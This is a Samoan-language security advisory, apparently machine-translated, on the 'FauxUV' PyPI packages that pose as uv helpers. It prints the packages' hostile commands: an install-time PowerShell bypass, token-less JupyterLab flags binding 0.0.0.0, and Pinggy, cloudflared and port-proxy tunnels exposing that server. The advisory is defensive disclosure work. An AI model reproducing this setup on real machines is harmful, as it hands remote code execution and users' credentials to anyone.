FauxUV: O afifi PyPI uv pepelo e tatala ai Jupyter i le Upega Tafaʻilagi

FauxUV: fesoasoani pepelo a le PyPI uv e tatala ai se 'au'aunaga Jupyter e le'i fa'amaoniaina i le initaneti

TL; AMA

O se faaputuga o afifi PyPI na faaaogaina le igoa o uv, le pule o afifi Python e faʻavae i luga o le Rust e vave ma lauiloa tele, e faʻafoliga o ni fesoasoani uv. E toetoe lava a leai ni galuega moni latou te lafoina. O le mea latou te tauaveina o se uta Windows e tu i luga o se 'Au'aunaga JupyterLab ma le fa'amaoniga ua tape ma, i lomiga mulimuli ane, lolomiina i le initaneti lautele e ala i se auala fa'afeagai.

O le tala atoa lena i le laina e tasi: o le igoa o se meafaigaluega fa'atuatuaina e fai ma maunu, ma JupyterLab o le afi e fa'atino ai tulafono mamao. E fa'agaoioia e le 'au'aunaga Jupyter so'o se code e te lolomiina i totonu o se notebook sela; o le tasi e fa'alauiloa i se fa'ailoga gaogao ma fa'apipi'i i feso'ota'iga uma o se fa'aliliu upu tatala e mafai e so'o se tasi e mafai ona o'o atu i le port ona fa'agaoioia.

Matou te siakiina le vaega e pei o FauxUV. O afifi e lua na suʻesuʻeina o moon-uv (0.0.1-0.0.16) ma my-magic-uv-helper (0.0.1), lomia e le kamupani lava e tasi ma o loʻo ola i luga o le PyPI i le taimi o le suʻesuʻega.

EcosystemPyPI
afifimoon-uv (0.0.1-0.0.16), my-magic-uv-helper (0.0.1)
Fa'atatau i le fausagapupuni
Amioga autū'Au'aunaga JupyterLab e le'i fa'amaoniaina, lolomiina i luga o le initaneti e ala i se ala fa'afeagai
Meafaigaluega fa'atulafonoina ua fa'aaogaina seseuv, JupyterLab, cloudflared, Pinggy

O le mailei: o se igoa ua uma ona e faʻatuatuaina

uv o se tasi o meafaigaluega Python e sili ona faʻapipiʻiina i le lua tausaga talu ai, o lea "o se fesoasoani mo uv"o se afifi e faʻapipiʻi e se tagata atiaʻe e aunoa ma se toe mafaufau. FauxUV e faʻaalu atoa lona talitonuga i lena igoa. O afifi e afifiina le moni uv fa'apipi'i mai Astral — o URL i le payload point i 'au'aunaga moni ma ta'uleleia — o lea o le tilotilo vave e leai se mea e va'aia vagana ai fa'asinomaga fa'atuatuaina. E leai se tasi o afifi e fa'aopoopoina moni uv galuega faatino; o le igoa o le ufiufi atoa lea.

JupyterLab o le afi RCE

O le totonugalemu o le uta o se mea e fa'alauiloa ai JupyterLab pe a aveese uma puipui:

jupyter server --with jupyterlab   --ip=0.0.0.0            # listen on every interface   --ServerApp.token=""    # no password, no token   --allow_origin='*'      # accept cross-origin connections   --disable_check_xsrf    # allow a remote browser/WebSocket to drive it

O fu'a ta'itasi e aveese ai se puipuiga, ma o le tusitusiga na lafoina e o'o lava ina fa'ailoa mai ai (i le gagana Saina muamua): o le fa'ailoga gaogao "tape le siakiina o upu faataga ma faailoga - e mafai e soʻo se tasi ona fesoʻotaʻi." jupyter lab o se IDE fa'asaienisi fa'amaumauga aloaia, ae e le o seebook E fa'atino e le sela ni tulafono fa'afuase'i e ala i le mamanu. Fa'atulagaina i lenei auala ma noatia i 0.0.0.0, e lē toe avea ma IDE ma avea ma se remote shell e lē faʻamaoniaina i luga o le host — e lē manaʻomia se custom malware binary, naʻo se meafaigaluega autū e faʻasino i le itu sese.

E lua vaega lagolago e faigofie ai ona ausia ma toe faia lena mea:

  • O se fa'agaoioiga fa'apipi'i filemu. O lomiga muamua e fa'aogaina le PowerShell ma -ExecutionPolicy Taalo sa'o mai setup.py on pip fa'apipi'i, i tua atu ma mea sese ua taofia ina ia pip foliga masani. O lomiga mulimuli ane e fa'aliliuina le amataga lava lea i totonu o se pip-uv meafaigaluega laina-poloaiga — ma tu'u atoa le taimi fa'apipi'i otometi e fa'atino ai.
  • O se ana fa'atafafā fa'alaua'itele. O lo'o fa'agaoioia se 'au'aunaga 0.0.0.0 e na'o 'au'aunaga e mafai ona fa'afeso'ota'i i le masini e mafai ona o'o atu i ai. O se module fa'apipi'i e tatala ai se [Pinggy](https://pinggy.io/) SSH reverse tunnel e fa'aliliuina atu ai le Jupyter port i se tuatusi lautele, ma aveese ai lena tapula'a. O le tusitusiga ua lafoina e iai fo'i - o lo'o fa'amatalaina - se isi auala e fa'aaoga ai le Cloudflare's ao fa'amumu ma a upega port-proxy i se Linode IP, faʻamaumauina le sini lava e tasi e ala i atinaʻe eseese.

Tuufaatasi: faʻapipiʻi le afifi, ma e iu lava ina faʻatautaia e le Windows host se JupyterLab e leai se upu faataga ma lolomiina i luga o le initaneti.

Le auala na alualu ai i luma le FauxUV

Sa vave ona la'uina atu fa'aliliuga a le FauxUV, ma sa fe'avea'i le vaega e fa'agaoioi ai le uta i luga o na fa'aliliuga — o se fa'amanatu e seasea ona fa'amatalaina le tala atoa o se laina o afifi e tasi ua fa'ailogaina.

Vaega lomiga Fa'amalo O le mea e faʻaopoopo i ai
Fa'apipi'i-matau moon-uv 0.0.1–0.0.3 my-magic-uv-helper 0.0.1 setup.py i luga o le fa'apipi'iina o le paipa fa'apipi'i uv + fa'asologa o le ALA
Taimi fa'atino o le CLI moon-uv 0.0.5-0.0.13 pip-uv faʻatonuga le fa'alauiloa JupyterLab e aunoa ma se upu fa'alilolilo
Vaitafe moon-uv 0.0.14-0.0.16 pip-uv faʻatonuga o se alalaupapa toe fo'i o Pinggy o lo'o galue malosi

E tāua tele, o le otometi lava ona faʻagaoioia i le taimi e faʻapipiʻi ai sa aveese i lomiga mulimuli ane, e sili atu ona gafatia — o lea o se scanner e na'o le taimi e ola ai e fa'amauina hooks o le a tu'uina atu fa'asalalauga fou e pei o itiiti lamatia, e matua fa'asolo i tua lava.

Fa'ailoga o le fetu'una'iga

Fa'amaonia e ala i le faitauina o le punaoa o le afifi; ua fa'ailogaina vaega fa'ai'u saunoa o lo'o iai i totonu o faila ae e le'i fa'atinoina e le lomiga na su'esu'eina. Ua fa'aleaogaina fa'ailoga o feso'ota'iga.

ituaiga Faailoilo
Poloaiga fa'apipi'i powershell -ExecutionPolicy Bypass aumaia le fa'apipi'i uv moni, i le taimi e fa'apipi'i ai le pip
Fu'a a JupyterLab --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf
Ala fa'asolo i tua (galue) free[.]pinggy[.]io:443 lafoina i le lotoifale 127.0.0.1:8888
O le talimalo o le alavai (fa'amatalaga) cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718
IP (ua fa'amatalaina) 45[.]79[.]134[.]161 (Linode) e ala i netsh port-proxy
Tumau sauniuni %USERPROFILE%\.local\bin i le tagata fa'aoga PATH

Fa'ailoga o amioga e tatau ona mataala i ai, e tuto'atasi mai nei fa'asologa tonu: a pip fa'apipi'i e fanau mai powershell -ExecutionPolicy Bypassso'o se jupyter fa'alauiloa tu'ufa'atasia fa'ailoga = "" i –ip=0.0.0.0; ma le SSH alu atu i *.pinggy.io mai se masini atia'e po'o se masini CI.

Amioga ma le amataga na matauina

E tutusa le tusitala ma le metotia o afifi e lua: o le igoa o se meafaigaluega fa'atuatuaina, o le puipuiga o le Windows, o le fa'atinoina o mea sese i tua, ma le fa'alagolago i meafaigaluega ta'uleleia o lea e na'o URL ta'uleleia e va'aia i se va'aiga vave. O lo'o iai i le punaoa ni fa'amatalaga fa'a-Saina e fa'amatalaina ai fu'a e talafeagai ma le saogalemu; matou te lipotia atu na mea o ni fa'amatalaga e mafai ona va'aia i le faila, ae le o se tagi e uiga i le mafua'aga. fa'ataga_amataga taua ma se colab.bat O le igoa faila e toe fa'aalia ai le faiga masani o le "share my local runtime" lea e fa'asalalauina mo Google Colab. Po'o le a lava le amataga, e tutusa lava le i'uga ua uma ona fa'aputuina.

Aafiaga ma taiala mo ē puipuia

O ai e aʻafia i le FauxUV. O le au atina'e o Windows ma le au fa'atautaia CI e pip fa'apipi'i o se tasi o nei afifi. O se JupyterLab e leai se upu faataga i luga 0.0.0.0 o le fa'atinoina mamao o le code mo so'o se tasi e mafai ona o'o atu i le port; e aveese e le tunnel le tapula'a "o ai e mafai ona o'o atu i ai". E tamo'e le server o se tagata fa'aoga fa'apipi'i, ma maua ai faila a lena tagata fa'aoga, tokens, ma fa'amaoniga ao.

Aiseā e faigofie ai ona misia. O laina feso'ota'iga uma e fa'asino i se 'au'aunaga ta'uleleia — Astral, JupyterLab, ao fa'amumu, Pinggy, Colab. E leai se malware binary e ta'ua o le hash ma e leai se obscurated blob e fa'ailoa mai. O le su'esu'ega e fa'avae i luga o le igoa ta'uleleia ma le saini e le o atoatoa ai lenei mea, o le mafua'aga lea o le fesili e uiga i amioga — o le a le mea e fai e le masini pe a fa'apipi'iina lenei afifi? — o ia lea e pu'eina.

Taiala:

  • Taulima so'o se taimi fa'apipi'i powershell -ExecutionPolicy Bypass e fai ma faailoilo e motusia ai le fausiaina, po o le a lava le URL e aumaia.
  • Tatalo i jupyter fa'alauiloa i se fa'ailoga gaogao ma –ip=0.0.0.0; e le tatau lava ona aliali mai lena tuufaatasiga i luga o se masini faigaluega po o se masini tamoe.
  • Mata'ituina mo le SSH e alu atu i le au tunnel providers (*.pinggy.io, *.trycloudflare.com) mai siosiomaga a le au atina'e ma CI.
  • faatuina uv mai [lona punaoa aloaia](https://docs.astral.sh/uv/) ma ia masalosalo i afifi "fesoasoani" a isi vaega e afifiina se meafaigaluega e faigofie lava ona faʻapipiʻi.
  • Fa'amau ma toe iloilo mea e fa'alagolago i ai i le fa'aleleia atili — e mafai e se laina afifi ona fa'atupula'ia le gafatia fou i lea lomiga ma lea lomiga.
meafaigaluega-sca-polokalame-su'esu'ega-tu'ufa'atasiga
Fa'amuamua, toe fa'aleleia, ma puipui au tulaga lamatia o polokalama faakomepiuta
Maua lau Teugatupe e leai se totogi.
Leai se credit card e manaʻomia.

Puipui lau Atina'eina ma le Tu'uina Atu o Polokalama Faakomepiuta

fa'atasi ai ma le Xygeni Product Suite